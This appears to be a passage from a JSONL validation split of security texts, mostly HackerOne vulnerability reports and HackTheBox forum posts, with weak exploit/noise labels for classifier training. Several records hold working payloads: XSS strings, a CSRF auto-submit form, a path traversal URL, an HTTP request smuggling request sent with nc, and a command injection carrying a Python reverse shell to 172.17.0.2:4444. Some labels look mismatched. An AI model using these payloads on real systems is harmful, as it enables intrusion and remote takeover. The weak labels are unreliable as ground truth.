__atrfs=ab/|pos/|tot/|rsi/62c47d0400000000|cfc/|hash/0|rsiq/|fuid/d2cfdda4|rxi/|rsc/addressbar|gen/1|csi/|dr/; _gid=GA1.2.2089900381.1657044260; wires=cqr7lhfhfudpdntime6mevkslt; _gat_gtag_UA_377760_26=1\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 142\nOrigin: https://██████\nReferer: https://████████/contact-us/\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nTe: trailers\nConnection: close\n\nname=\"%20onfocus=alert('tmz900')%20autofocus//\"&email=test%40gmail.com&phone=1234567895&message=test&submitted=submitted&g-recaptcha-response=\n```\n2. You will see an alert box pop up:\n\n█████████\n\n3. Or you can use this code test on html file:\n\n```\n<html>\n  <!-- CSRF PoC - generated by Burp Suite Professional -->\n  <body>\n  <script>history.pushState('', '', '/')</script>\n    <form action=\"https://████/contact-us/\" method=\"POST\">\n      <input type=\"hidden\" name=\"name\" value=\"&quot;&#32;onfocus&#61;alert&#40;&apos;tmz900&apos;&#41;&#32;autofocus&#47;&#47;&quot;\" />\n      <input type=\"hidden\" name=\"email\" value=\"test&#64;gmail&#46;com\" />\n      <input type=\"hidden\" name=\"phone\" value=\"1234567895\" />\n      <input type=\"hidden\" name=\"message\" value=\"test\" />\n      <input type=\"hidden\" name=\"submitted\" value=\"submitted\" />\n      <input type=\"hidden\" name=\"g&#45;recaptcha&#45;response\" value=\"\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n    <script>\n      document.forms[0].submit();\n    </script>\n  </body>\n</html>\n\n```\n\n## Suggested Mitigation/Remediation Actions\nFilter input on arrival\nEncode data on output\nUse appropriate response headers\nContent Security Policy.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f3cf21b817ea91afcef8", "text": "[Cross-site Scripting (XSS) - Reflected] XSS on https://███████/██████████ parameter\n\nPoC\n```\nhttps://███████/███\n```\nPameter 'xxslots' must be invalid\nPayload ```xss%22%20tabindex%3d1%20autofocus%20onfocus%3d%22alert()```\n███████\n\n## Impact\n\nXSS on https://███████/\n\n## System Host(s)\n██████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nGo to ```XSS on https://██████/██████████```\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dab78ff0b33ca48973db", "text": "I used too this: But I dont know why i cannot get flag, and this payload is triggered as malicious. Anyone could help me with that? Thx", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-10-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a180faec44128783128d", "text": "[Information Disclosure] CVE-2022-27775: Bad local IPv6 connection reuse\n\n## Summary:\ncurl/libcurl doesn't consider IPv6 address zone index when doing connection reuse. if connection exists to specific IPv6 address (and other conditions for connection reuse are fulfilled) it will be reused for connections regardless of the zone index.\n\n## Steps To Reproduce:\n\n  1. Set up a fake server: `echo -ne 'HTTP/1.1 200 OK\\r\\nContent-Length: 6\\r\\n\\r\\nHello\\n' | nc -6 -v -l -p 9999`\n  2. curl \"http://[ipv6addr]:9999/x\" \"http://[ipv6addr%25lo]:9999/y\"\n\nBoth connections arrive to the test server:\n\n```\nListening on :: 9999\nConnection received on somehost someport\nGET /x HTTP/1.1\nHost: [ipv6addr]:9999\nUser-Agent: curl/7.83.0-DEV\nAccept: */*\n\nGET /y HTTP/1.1\nHost: [ipv6addr]:9999\nUser-Agent: curl/7.83.0-DEV\nAccept: */*\n```\n\nClearly the 2nd connection should fail as the address is not available at interface lo. (Lone connection to `http://[ipv6addr%25lo]:9999/` fails with `curl: (7) Couldn't connect to server`)\n\nThis vulnerability isn't exploitable with public IPv6 addresses on linux systems (it seems kernel strips out zone index for public addresses). It is exploitable with macOS however, and possibly other non-linux OSes.\n\n## Impact\n\nReuse of wrong connection leading to potential disclosure of confidential information.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-27775"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bcd9aacc5efd754743c1", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS on [█████████]\n\n## Summary:\nHi security team members,\n\nI found a reflected XSS on the URL\n\n## Impact\n\n1. An attacker can steal the victim's cookies.\n2. An attacker can execute JS code.\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Navigate to this link:- https://██████████/██████=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E\n2. Then, it will execute.\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1b61e47b9b4d90f8452d", "text": "[Path Traversal] Off-by-slash vulnerability in nodejs.org and iojs.org\n\n**Summary:** \nConfiguration files for Nginx in nodejs/build repository have multiple off-by-slash misconfigurations. Because nodejs.org and iojs.org are deployed using those files, it is possible for an attacker to gain access to unexpected directories. (**This report is not related to nodejs/node.** Therefore, I understand that this report is not eligible to Bounty.)\n\n**Description:** \nThe following files have multiple off-by-slash misconfigurations.\n- https://github.com/nodejs/build/blob/main/ansible/www-standalone/resources/config/nodejs.org\n- https://github.com/nodejs/build/blob/main/ansible/www-standalone/resources/config/iojs.org\n\nFor example, the following `/metrics` endpoint has no trailing slash, while the alias parameter has a trailing slash.\n```\n    location /metrics {\n        alias /home/dist/metrics/;\n        autoindex on;\n        default_type text/plain;\n    }\n```\nThe setting as above is commonly known as an off-by-slash misconfiguration.\nIn this case, an attacker can access files in `/home/dist` directory via `/metrics../` endpoint.\n\n## Steps To Reproduce:\nFor example, you can browse the contents of `/home/dist/.bashrc` by accessing `https://nodejs.org/metrics../.bashrc`.\n\n## Impact: \nIf sensitive files exist in the dist user's home directory, it is possible for an attacker to view their contents.\n\n## Supporting Material/References:\n* https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf\n\n## Impact\n\nAn attacker can access files in the `/home/dist` directory of the nodejs.org and iojs.org servers.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1647c56607e7514dfdeb", "text": "Hmmm, that’s how it is. Then HINT becomes logical. Confused by their question. Why then do they ask for “brute force attack”. Inspect the login page and perform a bruteforce attack . What is the valid username? Thank you for the right direction of thought", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "401d3b1c0816293f73a8", "text": "Hey, I have been stuck in getting the second flag. Any hints are appreciated!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "947d959850ac12773a21", "text": "[HTTP Request Smuggling] HTTP Request Smuggling Due To Improper Delimiting of Header Fields\n\n**Summary:**\n\nThe `llhttp` parser in the `http` module in Node v17.8.0 does not strictly use the CRLF sequence to delimit HTTP requests. This can lead to HTTP Request Smuggling (HRS).\n\n**Description:**\n\nThe LF character (without CR) is sufficient to delimit HTTP header fields in the `lihttp` parser. According to [RFC7230 section 3](https://datatracker.ietf.org/doc/html/rfc7230#section-3), only the CRLF sequence should delimit each `header-field`.\n\nConsider the following request (all lines are delimited by CRLF except the `[\\n]` part)\n\n```http\nGET / HTTP/1.1\nHost: localhost\nDummy: x[\\n]Content-Length: 23\n\nGET / HTTP/1.1\nDummy: GET /admin HTTP/1.1\nHost: localhost\n\n```\n\nSuppose that an upstream server:\n- Correctly delimits lines by the CRLF sequence instead of only LF\n- Incorrectly allows the LF character in header values\n\nThis leads to HTTP request smuggling as the Node server sees one extra header field, `Content-Length: 23` while the upstream proxy thinks that the content length of the first request is 0.\n\nRequest as seen by the Node server:\n\n```http\nGET / HTTP/1.1\nHost: localhost\nDummy: x\nContent-Length: 23\n\nGET / HTTP/1.1\nDummy: GET /admin HTTP/1.1\nHost: localhost\n\n```\n\n## Steps To Reproduce:\n\nServer code I used for testing:\n\n```javascript\nconst http = require('http');\n\nhttp.createServer((request, response) => {\n   let body = [];\n   request.on('error', (err) => {\n      response.end(\"error while reading body: \" + err)\n   }).on('data', (chunk) => {\n      body.push(chunk);\n   }).on('end', () => {\n   body = Buffer.concat(body).toString();\n   \n   response.on('error', (err) => {\n      response.end(\"error while sending response: \" + err)\n   });\n\n   response.end(JSON.stringify({\n         \"URL\": request.url,\n         \"Headers\": request.headers,\n         \"Length\": body.length,\n         \"Body\": body,\n      }) + \"\\n\");\n   });\n}).listen(80);\n```\n\nPayload:\n\n```bash\n(printf \"GET / HTTP/1.1\\r\\n\"\\\n\"Host: localhost\\r\\n\"\\\n\"Dummy: x\\nContent-Length: 23\\r\\n\"\\\n\"\\r\\n\"\\\n\"GET / HTTP/1.1\\r\\n\"\\\n\"Dummy: GET /admin HTTP/1.1\\r\\n\"\\\n\"Host: localhost\\r\\n\"\\\n\"\\r\\n\"\\\n\"\\r\\n\") | nc localhost 80\n```\n\n**Expected result:** Sees two requests, both to `/`.\n\n**Actual result:** Sees one request to `/` and another to `/admin`.\n\n```http\nHTTP/1.1 200 OK\nDate: Mon, 28 Mar 2022 15:51:44 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\nContent-Length: 124\n\n{\"URL\":\"/\",\"Headers\":{\"host\":\"localhost\",\"dummy\":\"x\",\"content-length\":\"23\"},\"Length\":23,\"Body\":\"GET / HTTP/1.1\\r\\nDummy: \"}\nHTTP/1.1 200 OK\nDate: Mon, 28 Mar 2022 15:51:44 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\nContent-Length: 69\n\n{\"URL\":\"/admin\",\"Headers\":{\"host\":\"localhost\"},\"Length\":0,\"Body\":\"\"}\n```\n\n## Impact\n\nDepending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b61c4cd5f01459236663", "text": "[Command Injection - Generic] POOL_UPGRADE request handler may allow an unauthenticated attacker to remotely execute code on every node in the network.\n\nThis issue is related to the https://github.com/hyperledger/indy-node. \nThe issue was found in the `indy-node` code that handles the write request of type ****`POOL_UPGRADE` (in file** `indy-node/indy_node/server/request_handlers/config_req_handlers/pool_upgrade_handler.py`****).**** \n\nThe `additional_dynamic_validation` function handles an undocumented field called `package` that can contain the name of the package to be upgraded. I case that this field is not empty, it is passed as is to the following functions `self.upgrader.check_upgrade_possible -> NodeControlUtil.curr_pkg_info -> cls._get_curr_info`.\n\n```python\ndef _get_curr_info(cls, package):\n    cmd = compose_cmd(['dpkg', '-s', package])\n    return cls.run_shell_command(cmd)\n```\n\nAs seen in the code snippet above, the user supplied name is then concatenated to the string `dpkg -s` and is run as a system command without any sanitization. \n\nThis can lead to an attacker supplying a package name, followed by a semicolon and another system command (e.g. `package ; whoami`), resulting in a remote code execution. This of course can be any command, and in the PoC code attached I’m running a reverse shell, effectively taking control of the node, and possibly the entire network and the identities in it (assuming I run this exploit on enough nodes).\n\nThe documentation specifies that the `POOL_UPGRADE` can be run by a Trustee only, however, we can run this exploit being a client without any roles in the network.\n\nThis is made possible by the fact that the authorization that the `POOL_UPGRADE` handler performs, happens only **after** the package information has been fetched (using `self.upgrader.check_upgrade_possible`). Meaning any client can trigger the vulnerable code path and execute code on all the network’s nodes.\n\n### Steps to reproduce:\n\nWe’ll provide 2 methods for this, using the testing framework and independently; both are detailed below. The malicious `POOL_UPGRADE` request looks as follows:\n\n```json\n{\n    \"identifier\": \"6ouriXMZkLeHsuXrN1X1fd\",\n    \"operation\": {\n        \"action\": \"start\",\n        \"name\": \"test\",\n        \"package\": \"a ; python3 -c \\'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\\\"\n        172.17 .0 .2\\\\ \",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\\\\" / bin / sh\\\\ \")\\'\",\n        \"schedule\": {\n            \"4yC546FFzorLPgTNTc6V43DnpFrR8uHvtunBxb2Suaa2\": \"2022-12-25T10:25:58.271857+00:00\",\n            \"AtDfpKFe1RPgcr5nnYBw1Wxkgyn8Zjyh5MzFoEUTeoV3\": \"2022-12-25T10:26:16.271857+00:00\",\n            \"DG5M4zFm33Shrhjj6JB7nmx9BoNJUq219UXDfvwBDPe2\": \"2022-12-25T10:26:25.271857+00:00\",\n            \"JpYerf4CssDrH76z7jyQPJLnZ1vwYgvKbvcp16AB5RQ\": \"2022-12-25T10:26:07.271857+00:00\"\n        },\n        \"sha256\": \"db34a72a90d026dae49c3b3f0436c8d3963476c77468ad955845a1ccf7b03f55\",\n        \"type\": \"109\",\n        \"version\": \"1.1\"\n    },\n    \"protocolVersion\": 2,\n    \"reqId\": 1651152851,\n    \"signature\": \"4YoXKHNnWRouTUAW4fKuTANnXNJfY2JoPG4PoXfz4PUzjx4NySrAmzkzy6zCiRRf5uczZx5mQVSm1eCZLnUHUDoT\"\n}\n```\n\nA few notes on some important fields:\n\n- `package` - the undocumented field that leads to the security issue. After the semi-colon we have the injected command. In this case, a Python reverse shell (note that you’ll need to change the IP address and port to point to you)\n- `schedule` - It’s important only because we need it in order to pass the `static_validation` of this request, just need to set the public nodes and a time in the future.\n- `signature` - the request should be properly signed by any identity in the network (no role needed)\n\n**Run using pytest:**\n\n1. `cd indy_node/test/`\n2. Drop the `exploit_test.py` file\n3. Listen for incoming connection on a different machine (e.g. `ncat -lvvp 4444`)\n4. Find the following code in the exploit `s.connect((\"172.17.0.2\",4444))`, and replace the address and port for your ones\n5. Disable the testing", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}